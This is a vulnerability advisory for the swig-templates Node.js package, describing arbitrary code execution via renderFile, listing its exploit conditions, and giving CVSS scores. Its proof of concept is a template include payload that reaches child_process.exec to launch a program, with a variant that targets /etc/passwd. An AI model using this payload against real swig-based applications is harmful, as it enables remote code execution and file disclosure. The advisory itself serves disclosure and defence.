Arbitrary Code Execution Affecting swig-templates package, versions *


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.31% (71st percentile)

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  • Snyk ID SNYK-JS-SWIGTEMPLATES-3266806
  • published 7 Mar 2023
  • disclosed 2 Feb 2023
  • credit y1nglamore

How to fix?

There is no fixed version for swig-templates.

Overview

swig-templates is an A simple, powerful, and extendable templating engine for node.js and browsers, similar to Django, Jinja2, and Twig.

Affected versions of this package are vulnerable to Arbitrary Code Execution via the renderFile method.

Note: The following conditions are required to exploit the vulnerability:

  1. User input is used in the context of the package.

  2. User input is not sanitized.

  3. The value is dynamic.

PoC

// tpl.html

You need to ensure that the 1.html file exists
{% include "./1.html"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %} 

or just use /etc/passwd {% include "/etc/passwd"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %}

// run.js

var swig = require('swig-templates');
var output = swig.renderFile('/Users/bytedance/Desktop/swig/tpl.html');
console.log(output);

References

CVSS Scores

version 3.1
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Snyk

Recommended
6.4 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    Low
  • Availability (A)
    Low
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NVD

9.8 critical